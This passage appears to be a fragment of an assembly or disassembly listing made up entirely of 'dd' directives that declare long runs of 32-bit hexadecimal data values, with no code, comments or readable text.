0CF131651h dd 0FC054B40h, 8D80FFBCh, 219A354h, 56D903EDh, 3FE09C52h dd 8D00C5A0h, 737EF625h, 7AD51DC8h, 220D0049h, 0A197554Ah dd 0BF1728ACh, 6907626Ah, 60A18667h, 8EDCE923h, 9E771292h dd 0B13A05B9h, 80FBC479h, 0AB417134h, 125BBE30h, 0C049D6FFh dd 16A68F50h, 1A2AD415h, 6900B8A8h, 0B82B2A02h, 0B805C2BAh dd 7FFB00B2h, 0F07CB1CAh, 0D403CF48h, 833DE644h, 0BE6009C4h dd 8863DE4Ch, 639236C8h, 0B2356B1Dh, 0A3375601h, 10408641h dd 0C0C0AB3Ch, 9A1B4239h, 33744522h, 685B260Fh, 0FB4480BCh dd 30D499h, 86BFC78Ah, 0E8200428h, 0C4DB901Fh, 2A6060B0h dd 4069C313h, 12D0CBF8h, 6D01BF03h, 1BE7B1F2h, 6C20BA23h dd 3FB60102h, 0E89EBE81h, 0BBA1F4D3h, 16A633Fh, 8841C48Ah dd 0DCD06FEAh, 0A1C360D0h, 49B8873Eh, 620720EEh, 0C08FAAABh dd 0EF7A0EC0h, 3E0E67Bh, 1DE45804h, 0C480BDB8h, 64004EDCh dd 0A1292DFFh, 381740A9h, 0A7808CBBh, 0B9B20E59h, 0B871751Eh dd 1F9D6F13h, 0AB9E3000h, 397797Ah, 5576A180h, 0C4A01EB1h dd 7200D878h, 0D31A823Ah, 0F9652Eh, 0CC4FB3C5h, 4192E107h dd 1E531800h, 807576E7h, 0F49024h, 1357B9ABh, 154AC32Fh dd 0E6C9B70Eh, 8131C0B8h, 1C235483h, 804FC687h, 0F88E3313h dd 0A5073A8Ah, 73028C76h, 0B96C9D90h, 59AF003Ch, 0C448DC70h dd 7501CFA9h, 84A797ABh, 0EC549FC9h, 7BA043Ah, 70DD4238h dd 0CED7C2D1h, 0C126199Fh, 35DFD43Bh, 0AB7260DEh, 1300A87Ch dd 116C8F4Dh, 3F6ACEh, 1926414Bh, 3982C598h, 18580F00h dd 0AA36DAB8h, 0B6B40081h, 963457C2h, 0AB3017F7h, 0DC0179C5h dd 0A7B402C1h, 52EAB847h, 0A506A9E0h, 9EA1BC67h, 0E90B6AB3h dd 2D304D1Ch, 0AEE10709h, 6145B9C1h, 0C4C5943Ah, 9626399Bh dd 763E2C48h, 18C0E677h, 8B4ECCDh, 10AC6766h, 0E2EFE33Fh dd 9A7B2806h, 0E2689E5Bh, 6B671F20h, 36E0011Bh, 42699DB2h dd 42F53488h, 0BB0800C1h, 267FF28h, 0A3AD3F31h, 0CFFCD08Eh dd 0CDC02C00h, 55F5C186h, 98208822h, 49C40090h, 0BB50BE5Eh dd 0A00895Dh, 64421C35h, 60333AF6h, 201E786Ah, 8560E346h dd 21C24182h, 4F310C66h, 1F689C02h, 49DF6500h, 0D019860h dd 0D884A3BBh, 50A14245h, 52D2B4CEh, 53A0F8BCh, 2F00515Eh dd 0DA486583h, 0F8593A24h, 1E2EF852h, 0FD18F7h, 71C71BF2h dd 5A0E83DAh, 607DBE72h, 3D212E4Fh, 12260068h, 0C02A5D62h dd 0BE0C5264h, 69BBDF35h, 6D94A17Fh, 0E63FAE8h, 640A3CC3h dd 7921A68Ch, 4FEE000h, 3E08F923h, 0CD3D3301h, 46D07BD0h dd 201D2FAh, 3912FC98h, 0E040BA4Ah, 48210B29h, 3D063060h dd 18B98A09h, 0CB48C40Fh, 0ECED053Eh, 0FA9F8400h, 706D5674h dd 5AF1011h, 4F3400CCh, 0D0B52091h, 44AA5C38h, 9EC2B900h dd 3D0F275Ah, 1EFD8718h, 0A70BF20h, 0AE6F0EA7h, 6EA27320h dd 29BE5430h, 8184DE7Ch, 370EFED7h, 88A318D2h, 0FE00D37Ch dd 19A8F93Eh, 70299483h, 67371D12h, 1468B0EDh, 1702415Dh dd 0E0BC6120h, 1724C497h, 896024h, 0C3EA48B0h, 8CC7847h dd 10221D5h, 52B98968h, 0F7A4BBE3h, 808E193Fh, 33CDAC49h dd 2CC71A7Eh, 40E4A669h, 21FB6D5Fh, 98734501h, 9A034CCAh dd 102C68D1h, 0FD148500h, 67CF013Dh, 33ACD200h, 4677CB63h dd 66D05CDh, 0E67942h, 91169C4h, 0D4A0BD8Eh, 0EF0F895Ch dd 8556A65Fh, 24C047C8h, 6343E22h, 0B19A3707h, 9E0738E4h dd 0B2D03140h, 903CBA22h, 181159A8h, 11ABDFB3h, 1B7FC345h dd 36A34300h, 0AE3DA003h, 4ECE85Bh, 0C3472F5Fh, 7610D89Ch dd 8D94C007h, 0B08A293Bh, 8C31900h, 2C180Dh, 8ACE2AEFh dd 68D4AE1Fh, 63CA3D00h, 0CD623E7Eh, 0ACBC7B5Eh, 89641FC0h dd 8868D12Ah, 6C0683CCh, 13A09589h, 477AB04Fh, 45EDCB02h dd 0AFBAA6B8h, 5782E0B8h, 9B31C4Bh, 2FCF461h, 0A9DA1480h dd 3D281733h, 290184D4h, 95C745Fh, 4004585Bh, 18FE3A0h dd 0C72B19D4h, 6801E46Ah, 6B4522FBh, 7E886918h, 51FD0013h dd 0E6AAE5ADh, 0E49060F0h, 9DB3C40Ah, 8F82C497h, 6ADD9A45h dd 0BD808430h, 41D448D0h, 0A8FBE8C4h, 26424488h, 9466A9h dd 41687E3Ah, 0D7509B39h, 0FF0AEDBCh, 0DCBDD0AEh, 465CA09h dd 6460663Ch, 45231EFBh, 274114Bh, 24FD0F82h, 7ACB8002h dd 590141CBh, 3E003819h, 4B66E4A5h, 9D480A39h, 0F66A0438h dd 0E8908150h, 0E2497Eh dd 7B4218F4h, 977AF111h, 70FE4C92h, 0DE00118h, 99A3378h dd 1FA9FE34h, 0D656EC82h, 9F0044D8h, 628029DEh, 0E23344Bh dd 22843FBAh, 421E28Ch, 837238h, 0E3B70A8Ah, 18668E61h dd 0E9B1ACC7h, 8400FAA0h, 40A4EF9Dh, 6FEAF1h, 7F41E685h dd 0CA83B71Bh, 0CA809F48h, 465E9419h, 8D5D0072h, 0D07EDB3Dh dd 5180233h, 43A44239h, 818ED081h, 0CE906092h, 35951207h dd 386A414Fh, 6A806811h, 3B4528FBh, 8067448Ch, 0B7FD1500h dd 417E059Ch, 8024F5A5h, 213600E5h, 1A48EAF3h, 0CC05E8BDh dd 9B624118h, 0B9DCBC04h, 0F9B0E490h, 982506A6h, 21FAE947h dd 6D986A61h, 844EB4F7h, 0A0C573C8h, 0D4B54F83h, 46F96082h dd 6E7D08h, 605BA43Dh, 4624A254h, 3ACEC40Bh, 140CA01Bh dd 334D56Ch, 0B308CD4h, 27C1E52Eh, 0CB587046h, 20CADDA1h dd 0C9C3AA02h, 15BC3D8Eh, 84C5A4A1h, 46B8E300h, 8F72C7Ah dd 69B3CB0Ch, 0B1559099h, 18A27918h, 3CA12E6h, 9A2422A1h dd 91027066h, 8F9FB712h, 0E408651Ah, 9BD66074h, 0AE106B0h dd 79A8DE3Bh, 3D610600h, 4744B16Ah, 7A8A01B4h, 0D907F59Fh dd 0E450F4C8h, 8F1BD6FAh, 0C071C649h, 9992E99Ah, 0F6A90A1Ch dd 0A361FE4h, 58C8C35Dh, 0C49C3A17h, 54D7C8B0h, 0EC5D5ADDh dd 95370984h, 349FC3Dh, 575F5CD2h, 6EB75880h, 0CADCB814h dd 3F34C7ACh, 38682469h, 0B8027C8Dh, 0FEDC3071h, 0DA371111h dd 7D82AB88h, 9198FED4h, 0E186CA8h, 44DCFD05h, 948B9A5Bh dd 0FD598C00h, 0FB9358FAh, 601F7000h, 1DB935BDh, 0E9D0601Eh dd 0A796F0EFh, 78B5094h, 808488B8h, 80604D3Fh, 0EBC6082h dd 8140B198h, 3E288966h, 402B1878h, 4E00049Eh, 0D948D089h dd 98A23Ah, 0F1EF1E82h, 0ED4E067h, 10CB6404h, 84D0BC76h dd 3F134FF9h, 0D806C9Ch, 0BD917701h, 0E006F1Dh, 0C8336472h dd 57F7AFh, 62DF0C3Ch, 1F0F29D6h, 713BCCA0h, 3FB02B0Eh dd 185A8621h, 12151ACCh, 0A06160ADh, 84118D9h, 403E2B89h dd 540D2C4h, 0B468969h, 41190701h, 0C59840CFh, 0CEA2C463h dd 74B5330h, 57E1FA3Bh, 0E1FCC7EBh, 40C26338h, 200A30B8h dd 414B6B1Fh, 2B589D94h, 6701B80Fh, 703E3589h, 21C0D118h dd 0CA894F07h, 0DC431C7Dh, 0C7FC017h, 0BEB54245h, 82407891h dd 4BC749h, 45835BFBh, 0F8AC5CC8h, 0DF644A00h, 6B5AEFBFh dd 20C41E43h, 292C8E54h, 986FBE84h, 0FE12D660h, 5C12370Fh dd 0DC1828h, 3A196B5Fh, 0D42A052Bh, 9A1EEEB0h, 90810159h dd 301EB833h, 4822ADF4h, 6A0004E0h, 1B9FE1B2h, 65583CDAh dd 6056014Ch, 785FDE47h, 21EA0898h, 0E63B6D21h, 0A29489F6h dd 48ED0C0Bh, 4BBDA15Fh, 670A4FCh, 0F540E75Bh, 364660DFh dd 45E64102h, 43304056h, 691D809Eh, 35E63Eh, 19C67192h dd 0E4ED847Dh, 171B00C4h, 7A1C2B36h, 0E498B830h, 80BC4E37h dd 0B084DF90h, 0E6715Eh, 43795A20h, 9976DAD1h, 370761FCh dd 0DE6E3242h, 31EC1820h, 0DCFE26h, 97518D9Fh, 337E173Dh dd 3E67C202h, 9031BC79h, 11E6645Ch, 9E685644h, 6C1E21B1h dd 1F6016D9h, 5D6B0041h, 6A513D45h, 88C51CD1h, 0BC311A64h dd 29FCEA5Fh, 744D2B96h, 80389198h, 5643E663h, 0E96E8C50h dd 0E66B4021h, 0EEEEC9Dh, 0E0074983h, 0A2628C3h, 83DCF23Eh dd 0D66EDA82h, 3BF10127h, 0A8629844h, 9CBAD84Eh, 183A9E3Ah dd 6120D9F3h, 0C9B018Ch, 0F9347C43h, 0ABB442A9h, 6B461844h dd 42E66602h, 0EB317856h, 0E64E1C10h, 0D4CFF40Ch, 3861F5h dd 0BABEC2E1h, 4A3B7BBCh, 2EAF2300h, 0CA5E40EBh, 3029F064h dd 1B319C91h, 0EA48CDD5h, 40792900h, 1218E859h, 8DF6C0FBh dd 101C3349h, 3512B6FEh, 9904603Ah, 0C20C6F56h, 1922D771h dd 0EBEC077Ch, 1147F188h, 0CC42AB29h, 3406279Ah, 0DE034FDFh dd 7B7A7AA9h, 0CD5F76FDh, 6B096720h, 6E0C8218h, 2F0D00FDh dd 0C778B3CDh, 2D03B532h, 0A78F9CD4h, 2CD94249h, 803081E2h dd 0FFF3003Eh, 0C7B4A77h, 706252Ch, 369BADF7h, 78952468h dd 0ED465E6Ch, 25D17607h, 0BD6AF34Ah, 57A07FA7h, 382351BEh dd 2700A091h, 67BF367Eh, 9A400AFh, 0A146E677h, 0E8194B9Dh dd 68D82DB2h, 0FB048218h, 98535F85h, 9B208332h, 1EFD2Dh dd 0E8C8E37Ch, 0E00D735Ch, 9C9191F4h, 60603D64h, 567248E6h dd 1AC06499h, 0FD0E668h, 531674E8h, 0E500BC88h, 9F5E20ECh dd 8D8C098h, 0D817AC36h, 0E50C0D4h, 4E3DB0D5h, 0D9DD0039h dd 49DA89B9h, 4280B02Ch, 9EA86498h, 5BC03A42h, 20639B8Ah dd 90AB9904h, 572003A2h, 0CA656C31h, 983A5A58h, 6F018E23h dd 3E33EF51h, 806D4091h, 5F32FD29h, 229A432Bh, 709C038Fh dd 0C46E16FDh, 59BE2EB0h, 5F6BA300h, 0D0F315CAh, 0C617FDAh dd 2C302F81h, 0BFF299F1h, 6983CE07h, 35B056A7h, 2A0580Eh dd 0AA024B17h, 0B844D203h, 182D3422h, 19CA53A4h, 0C0302957h dd 5BEDF8D6h, 1896601Ah, 4F9C351Dh, 32C0DE50h, 88BC7200h dd 42027AC8h, 5E7771h, 405BE47h, 41B2518Ah, 9EA8F664h dd 0E4003C8Dh, 2482AC32h, 91448E65h, 0FB7C8066h, 8C635F7Bh dd 909D8444h, 7EEE00C0h, 0CF5F99D7h, 9C1232E6h, 0AC014393h dd 7433ACE5h, 708FDCFDh, 41895A5Fh, 0A0599400h, 58320FEDh dd 3069785Bh, 7E12FB85h, 80388B5Fh, 0FD2C00A0h, 0E4386B90h dd 843F9CDBh, 561C8254h, 0C0692021h, 0B1DAA284h, 19E7D1E4h dd 123FC7D8h, 5F2429Ah, 30EC1F02h, 9E53A2D0h, 17C8B40h dd 0A8252BC5h, 23DA6E5Dh, 9E43A1B8h, 0B93F840Ch, 0D3FF8051h dd 78A10516h, 0E0702A8Fh, 28A2FC88h, 4E0EF19h, 1087AC34h dd 0F1CA02B5h, 0D4A88126h, 30ACE70Fh, 16440834h, 116C1749h dd 7F4C7E4h, 3D7DF240h, 793F3EE0h, 91605748h, 0FEF10D8Eh dd 64586600h, 6029896Bh, 0DB5F1239h, 71FC089Bh, 639841C0h dd 864676A8h, 5A214060h, 109B89h, 83AFD1A8h, 0C742842Fh dd 6BE52E0Bh, 9258A049h, 90D4EB78h, 0C2530724h, 0C0D8C381h dd 0A1252A3Fh, 511FD3FBh, 3E8069F3h, 9CBF7A21h, 0F68B00C5h dd 6443C804h, 0E40BD8FFh, 0A0DC3957h, 6F4734FCh, 41A66091h dd 9A435F1Bh, 0B3BEF4A0h, 4582C80h, 0B857A96Eh, 88588E47h dd 0DBA5C08Fh, 91F2AE65h, 0EC29590Bh, 53BC2384h, 0E50FDCDAh dd 0C8C9B084h, 78C2BA0h, 0A8619843h, 68586836h, 0DF98004Bh dd 7A843D0h, 0EC99542Ch, 8ACF70Ch, 0BA8B0EDCh, 0C60ED96Fh dd 26642383h, 30EE5CE9h, 374C40DCh, 143CD4ECh, 2CC044D9h dd 896098F9h, 70EE561h, 8379A4C2h, 11107190h, 84002067h dd 47A95D00h, 72A6C7A0h, 31DFF40Bh, 4D93E09h, 509C57CAh dd 115FA4A6h, 0B2370F00h, 5C80E74Ah, 1E2B2C70h, 0ABF7C364h dd 4708C101h, 0BFAF3B5Dh, 11361FCh, 6D191DC4h, 0EC7B58D7h dd 0F0BA0AACh, 0F2E4A085h, 7D0FE360h, 9775CD00h, 0AC35F742h dd 0F82F6B8Bh, 8311401Dh, 65AF7380h, 1800A2ADh, 5E522CA3h dd 4C8C29B0h, 54B0ECCCh, 0F630971Bh, 347FF1BBh, 37260119h dd 3CDB7E2Fh, 0A3089867h, 3F307C21h, 94000119h, 0EB6AE66h dd 0BB0B9F40h, 20D99778h, 48A1410h, 4DC60FF8h, 1F40742Fh dd 9DA47E17h, 59D67204h, 80B61BCBh, 67016C23h, 70564FE6h dd 1F8F8873h, 5C30E6C0h, 53098255h, 0A0A45Ah, 7F70BAD0h dd 8408B12Fh, 23D91FE4h, 550AE47Dh, 0A846567Ch, 0A0705915h dd 8A117188h, 27193380h dd 25876737h, 7FF40C80h, 8E0011D6h, 0FB69E5C4h, 7BFA4B54h dd 0AEA10084h, 951BFE3Ah, 4DE8525Fh, 7E30F754h, 357C1908h dd 40A4C49Fh, 0F5193276h, 3B79004Eh, 7F7CEAB0h, 2A62B96Ah dd 64A38EF8h, 5FD518F4h, 1A5C39BCh, 0E491C8AEh, 6918EA71h dd 9F1160Ch, 0FD161D5h, 278DA00Fh, 1A71EEA0h, 5F0E6274h dd 0C534D9D3h, 0CC1FEBF7h, 0F941CA45h, 0EE303882h, 26A4610h dd 5F7FFB80h, 0BCE783h, 2FFD2B99h, 8D30CA7Fh, 0EC9EF03Ch dd 0C3A503D5h, 0B29A5BA9h, 0F02FE04Ah, 0BB00E723h, 4F57C739h dd 0AC36090Ah, 3409373Bh, 664C7466h, 0F8C7AA4h, 0A83F9845h dd 0BDF488D1h, 0A3984D80h, 26E1D682h, 56179C78h, 0C4400601h dd 0ED618C7Eh, 83BA00E7h, 7932855Ch, 5EFAC002h, 60010B0h dd 7F4E5464h, 0BAF545A2h, 51F8BBBCh, 680188Dh, 9DA9D96h dd 0E52639D4h, 733F6758h, 0E62BEC01h, 0E0020157h, 24EEA882h dd 0E09831F5h, 0A0A8D7BFh, 0A07EB57h, 177A523Dh, 0ECC06937h dd 39559D67h, 7CCCE508h, 1738D710h, 584F30BFh, 3A2A20A4h dd 3B5E85h, 7F6AC016h, 6C399D4Fh, 27BC725Ch, 400375Ah dd 0C193BD4Ah, 7DD3710h, 0B1D826h, 26AB2E34h, 516CCFCDh dd 0EC3A41C2h, 12B85231h, 17FA92h, 0C5B040D1h, 0DF1B5181h dd 0B82129D7h, 12FF2Ch, 3A947B60h, 0B3A53D24h, 2244C327h dd 488FF494h, 3A06E8C0h, 0F800FF63h, 0E6A655BCh, 6800FCA3h dd 1C894CBh, 29486CE0h, 71783341h, 3C481882h, 3A06EEB8h dd 79BA5AD5h, 0BF300970h, 77BDF9ECh, 7D86016Dh, 0ED529BA1h dd 5DBAF865h, 62830E1Ah, 51AC6230h, 18F7D9B8h, 2ED0E42Ch dd 0BA46D72h, 0BC3065EEh, 0ACB9D72Dh, 0A54E5700h, 4FCC91h dd 2BA2A6B0h, 0AAE3CD2Eh, 43FBB201h, 0ECA127C8h, 40091C70h dd 0AC7E3445h, 0CC0104E7h, 125B75EBh, 2F4E5028h, 38E7239Ch dd 11B9A28Bh, 98BBE180h, 60C03DCFh, 23089F8Ah, 376F05E6h dd 0A6797E27h, 6564B01Ch, 2F4F0220h, 0E4F1E5FAh, 88214451h dd 26D3C883h, 540C90F4h, 0DB9B076Ch, 40877D18h, 3925B28Ch dd 0EC8EF62Ah, 28E2DD00h, 0C08F42F0h, 1A8C00FBh, 0B16F5141h dd 0E45CB045h, 8CF4E858h, 5649AA00h, 0E651E321h, 403904B3h dd 82B835F2h, 4F306F08h, 0A8651398h, 0C08B96h, 0E69B975Ch dd 120F8372h, 82D6CC89h, 731ACD7Ch, 3B215054h, 8C133F02h dd 0C016495Eh, 0C6711Bh, 6C6E8A39h, 6F2F9E91h, 0DD50EE15h dd 22C3EC4h, 6629772Ah, 0A0084039h, 0D1B49147h, 25EC198Bh dd 0AA0913B0h, 1E50027Eh, 2C78EE10h, 2CDE7A00h, 0D43957C3h dd 0B833088Fh, 2880C904h, 0EB54BA4Bh, 0E76E8C5h, 6B7109A4h dd 0CD40D0E0h, 0F9093AF8h, 9485BADh, 59B49240h, 188679A4h dd 0F93D006Ch, 1DFC3309h, 0DF58B11Fh, 3C152493h, 0BF9C3202h dd 6BA4E913h, 0BAD0F4E8h, 0F74B219Ch, 82198081h, 0A6184F35h dd 19E47889h, 0D7FF07D6h, 0E0E6B07Bh, 0F7C45991h, 5D5A5E05h dd 0C8CED0F8h, 1C9A4C8h, 3F6A0FB3h, 546203DDh, 2FE73300h dd 1F527B42h, 245E6D01h, 15239C37h, 7C44D080h, 0B0126E56h dd 0C4AC392Ah, 4B037000h, 57DFEF04h, 5320057Bh, 14659A2h dd 0D89C3088h, 2F6C60C6h, 0FA9E4820h, 0AECE3E18h, 0B280A45Ch dd 0FDD86EDBh, 59489C90h, 71D61CF8h, 8C411C92h, 0A7986732h dd 9343197h, 18402FE9h, 937262EBh, 4902E98h, 0F933FC33h dd 0B046B09Eh, 0DEB82631h, 9EC2CC0h, 0D4C03DCAh, 2491035Ch dd 8F0E4E00h, 1CE74016h, 40F2737Ah, 0D68D53D5h, 0A53AF04Bh dd 9124B010h, 5B5C2Fh, 8D5D34D5h, 264F327Ah, 23746709h dd 0B39CA03Eh, 90247731h, 0AB9339F4h, 69739601h, 3849DD5Ah dd 27AE0398h, 0D04CBAF6h, 0A7F4ACh, 5C74DB1Dh, 6309B3F0h dd 700A149Ah, 0B4028E53h, 0A7D13900h, 9CADBBFh, 52A651C8h dd 0A4913017h, 7A376481h, 4C80C015h, 0BBE22B12h, 0B5F7B806h dd 0B1CD3A29h, 0BFE82A80h, 84084B6h, 0EB0098A4h, 0CDA05C7Fh dd 112EE4h, 10D55E4Dh, 7CA9CFCAh, 33E3190Bh, 340082DBh dd 228D2027h, 3CEC1757h, 6D015824h, 0EA90CC20h, 0E43AD61Fh dd 0DA6001A7h, 89ECA588h, 94FC0CB3h, 5F78DB2Fh, 0F1255A12h dd 67C47C80h, 0B8B148C8h, 3363057Ah, 53EDA259h, 8D8801B0h dd 4E936D6Eh, 8F7C1120h, 8856D585h, 80513FF4h, 0B5F434B4h dd 0F98FB10Ah, 8C08B8CEh, 193960F6h, 2CE33729h, 317DB060h dd 64AB0019h, 0F62A5523h, 0FE053730h, 791A6FC0h, 0EDE148A2h dd 0BD0C9Fh, 9A11E15Eh, 2586FDB3h, 0D003AC08h, 8BDA93DBh dd 0C1E8C810h, 80B3F604h, 1D85A2B9h, 24009CAh, 6A568B4Dh dd 58B57894h, 0ABF6C300h, 69C3D1Eh, 5DD53CD6h, 940A69B6h dd 0FC316BE0h, 155A5305h, 7155E492h, 18A47114h, 0AB2F0072h dd 6E363E0Ch, 8F5ACA23h, 8D691000h, 93FCF51h, 5438DEA8h dd 0A7919C17h, 825FF58Eh, 23D59971h, 8DC56C48h, 0E5626909h dd 115DE41h, 81420D5Ch, 1BA930D4h, 17DCB894h, 194BABCh dd 165F839Dh, 5548922Ah, 0A523402Fh, 0A9853400h, 2824A40h dd 0F15A58DDh, 50D8E5h, 0A2F4720h, 2489B3E7h, 0DB3A0EC0h dd 4A095921h, 6BD420D9h, 0E50120B6h, 29EB9085h, 0B3504842h dd 9119FBA4h, 0AB185735h, 93D7988h, 0AD911619h, 0C25FACC8h dd 0FC4AED29h, 7DB2133Ch, 0E19EC082h, 0A0A70FD9h, 8691EC97h dd 3CAC1F80h, 0A30022C7h, 5F764BF3h, 99F41DA2h, 0B4EA0904h dd 186CA0C9h, 39FD0B26h, 2045735Fh, 0FD71A780h, 1CA2395Bh dd 706580h, 7CE441E9h, 0E32FA88Dh, 0D5042213h, 7B5C0047h dd 7D586A77h, 0CE1A8044h, 7169E65Fh, 1EBA0418h, 0F3B65260h dd 30E9B2F4h, 371D23CAh, 541C7F99h, 19A26943h, 327003FDh dd 0B931B4D3h, 0C4F4302Ch, 0B3A06040h, 340158ADh, 0AE2F5F3Ah dd 0DDEBD402h, 0B3EE8887h, 3058BD5Bh, 0D20412C8h, 3A20C02h dd 3A85C3Eh, 0D8AA0159h, 139C183Fh, 483EBCDCh, 0B00E723h dd 7720C317h, 0DC6C006Fh, 2BE5303Ah, 89D7015Bh, 0C780A0DBh dd 2B6FD97Dh, 0B812220h, 21930161h, 0D51BB800h, 8CAA6358h dd 0A511709Dh, 0D821A80h, 0CD0A3A70h, 0B857D53Fh, 0A059DC80h dd 1A3315B5h, 98DFF308h, 8B7978F9h, 5305D318h, 0E7B201B0h dd 3A4B801h, 0D084A7F2h, 5699399Dh, 0ECA2A425h, 0D600703Ch dd 30D5C026h, 0D800DDF0h, 92C98FF4h, 0D2470494h, 75C7A98h dd 8FD1C117h, 4847269h, 2BC3B040h, 3720B45Eh, 8201B4EEh dd 5BE6B833h, 3C2103C9h, 35DA3183h, 0B91E441Eh, 325B27Bh dd 8059C420h, 0F08E2693h, 0C1DB00ACh, 0D6ADA4AFh, 560C44A0h dd 588B2C31h, 0C253127Ch, 0E4BC509Dh, 8EA7E8h, 41BE4BCAh dd 0E2E5461Fh, 7C25A0C0h, 968A22Ch, 33FE307Dh, 8E914C97h dd 0FC5CD680h, 50045956h, 0D7E43742h, 0F00018ACh, 5DEEB8A1h dd 74919E6Fh, 869E40F0h, 878D3C00h, 35E20918h, 2DB43A0Ch dd 0A5452501h, 0D81DF107h, 1801A058h, 101BCECCh, 0BC2CA4D2h dd 56DD3D03h, 9820352Fh, 718A4CD9h, 6E083C02h, 8C88562h dd 0F72EE1A2h, 5596F4BFh, 0A688C0CBh, 0B57546C0h, 9B00966h dd 3C827916h, 78CFF7D4h, 0C2965E40h, 8FD30990h, 887055FCh dd 12EDB320h, 0DA528CC0h, 8C21C0CCh, 61A7A4h, 1641FAF7h dd 7CEB7B62h, 4833C400h, 2C075D7Eh, 0B4212C56h, 2FEE859Ch dd 23382EA7h, 330B07A9h, 0FDA2C1D8h, 5642011h, 97AFA894h dd 80F79140h, 0D25B2017h dd 27D89AAAh, 449782FBh, 60DA4008h, 0B3343C3Dh, 0D005DF8h dd 2783BF75h, 4A04B8F7h, 0C244D1D7h, 0A93EFCBAh, 84941F00h dd 52ADE9ABh, 0F21A07FAh, 26DB043Fh, 0F10031D1h, 56BE811Ch dd 28EFC3Eh, 9C3409DFh, 0DC80E7A7h, 82E61045h, 80BC3595h dd 7AAA8A4Dh, 510186CBh, 0BF6B2C09h, 7D009E33h, 0BA00843Ah dd 4956D6D5h, 0FAF0C3E6h, 0B42B5390h, 0D530F9A2h, 1FDBEA4Ah dd 1624E592h, 1EA82009h, 8B5F0210h, 0EB231C3Bh, 36065D01h dd 0DC68E7C4h, 8EDFEA04h, 0C2B8D86Fh, 30370605h, 1094320Bh dd 0BD85B431h, 1E23830h, 6B71647h, 3351D8A1h, 338FA2F8h dd 72BA62F8h, 0B30BA87Ah, 0A1DC0A01h, 916E230Ch, 2A3F2000h dd 0DCF3592Ch, 0BD2C17ADh, 0F4790046h, 3B64F08h, 16AC92B4h dd 5221D933h, 0A128E32Ch, 220C9E40h, 0E6BEC00h, 0B66CEFF8h dd 33E33EF1h, 23A82F5Fh, 5B8D0F90h, 749C33A7h, 4F5C85DBh dd 0A6E4428Ch, 0C7B0D0BDh, 0B8A530FAh, 0E638EE4h, 80430CE1h dd 0A0567CACh, 0F846F315h, 24CCB8C2h, 12347450h, 0E784E633h dd 0D7718A61h, 1A5BA20h, 7F9B2809h, 2C2BE0B3h, 0A70D7FD4h dd 59BBA38Fh, 84BC3C68h, 17EA008Ch, 5475A5BAh, 0D2B05680h dd 2405EE13h, 0D10F6CE2h, 0B6E03Bh, 7BD70A48h, 0D517B483h dd 0D053175Ah, 0A223103Ah, 3D0A6E00h, 9ACA7Ch, 0F75E0BD3h dd 55571488h, 0A6568D13h, 0A8C8F48Bh, 2BC1F6C0h, 0C7060125h dd 3A35DEE1h, 28684369h, 631A1799h, 916F01B4h, 6382E8DEh dd 3FBC107Ch, 8400DA43h, 4071EB04h, 7307495Eh, 22190E6Ch dd 8E50C0E9h, 9ACB9ADh, 0F0C8F7EFh, 0A9736E59h, 236FFC05h dd 889B22Ah, 0D023C2E1h, 0D830EDA2h, 0C57D0F4Ah, 0D147FC67h dd 0ADF690B5h, 80973903h, 3D38B94Ch, 803C9EBFh, 0AE806E55h dd 0E6030CE5h, 4446B6A1h, 434E809h, 3B583BA0h, 0FCB014F9h dd 0F8BC9082h, 8005D943h, 88CA51A9h, 0E45E3CA0h, 0D40A0844h dd 0F432D50Fh, 60F0C7C0h, 9D05A4Dh, 0D03C2157h, 2CEE0504h dd 29DA006h, 0E16BE520h, 89125C71h, 6C811865h, 79D63580h dd 367A6158h, 5787D019h, 0C1E96007h, 667022ACh, 95F7CC17h dd 33777420h, 0E41EC786h, 0B0C080E8h, 2F1FA33Dh, 0B27302D1h dd 351E7821h, 990BCC0h, 311BA013h, 8D232C2Fh, 84EF2E04h dd 1D090085h, 807CF0A8h, 3D9E56C6h, 32CE28D3h, 0D47941D8h dd 0A918A0D9h, 0BEC948h, 74CB892h, 0BC08525Ch, 0E8F181D0h dd 0E0874311h, 44009B5Eh, 0AA6BA76Ch, 4BAC31AFh, 0A22484FFh dd 3282F29Ch, 60F2A901h, 0A10C20C1h, 0B0F3C40h, 0D73FF77Bh dd 0C5B09890h, 0EC8F210Fh, 6B468034h, 199DB11h, 5DA6BB8Bh dd 0D3854788h, 36EC3AE0h, 0E574A095h, 16FB7D4h, 23C9403Ch dd 30AF478Ah, 43F8B8D4h, 846E896Fh, 0CADE0BCh, 0C438CB5Ah dd 1E309FEAh, 7505D649h, 0EEF6C65Bh, 0EBE828A8h, 34FC008Ch dd 51B5A058h, 349C034Ch, 121ACD80h, 0E2182871h, 0A119009Eh dd 0E2706334h, 8D755072h, 406F5E00h, 451E599Ch, 2DFC0B58h dd 24C8F64Ah, 0C003989Eh, 0C64D9463h, 516BD8C5h, 282D0907h dd 0CD00A03h, 2938D73Ch, 0E10288D6h, 0C3783A08h, 0DB104B64h dd 0BC5D8078h, 4FCAD318h, 0DD745361h, 0C0205A28h, 77A8360Eh dd 0A3DF0841h, 9A274905h, 21908224h, 2C5EF2h, 0AFD67B7h dd 3802694Bh, 0DD33ADA1h, 7868D3B2h, 3938FA62h, 424F800Ch dd 0A540CBEBh, 0BF2F09A1h, 0ECE5B1CFh, 5A10C8BFh, 0E488D4CEh dd 629ECBC0h, 5E572DE8h, 92600C1Ch, 6FC35971h, 0B4762C03h dd 1A099D28h, 87B307Dh, 215CD4ACh, 8D809FEDh, 0D1BD8290h dd 0A88F15A9h, 51138C89h, 0BFEC0508h, 0DAC00B98h, 5248BC04h dd 0FDF2B4A2h, 9A8AE30h, 0E42957CBh, 7604D422h, 1D028C78h dd 0D8E8D55Ah, 3CB491DAh, 12BE28E4h, 20BF1973h, 5A0159D4h dd 0E64081E9h, 0EEF8F65Bh, 499D743Ch, 34F06038h, 49C7053h dd 5C0CE135h, 0DA1E1880h, 6F5613E5h, 0BC804C1h, 7110F4EDh dd 88B5B786h, 0BBF8D500h, 40762BA2h, 0A03B0BB3h, 50E4247Dh dd 0B611B42Ch, 1F12323Dh, 2BE4E10Eh, 1E29C20h, 20EF0031h dd 4FA58325h, 2E122DBEh, 0F4F077A3h, 0D149E7Bh, 89A1E104h dd 8086CA18h, 5F1D0D04h, 25D5B6Ah, 348CD9F8h, 0A258A87Bh dd 998BEh, 835E16Eh, 0E5A497B5h, 2D384805h, 38E59941h dd 8DBCF468h, 12EF018Ch, 561F7949h, 20E83098h, 0DC02E475h dd 7C34D8B2h, 28CDE0Bh, 82DB0440h, 215CB4D4h, 3980D9F8h dd 0BBA771E3h, 0EC0327E0h, 0DE7CBC80h, 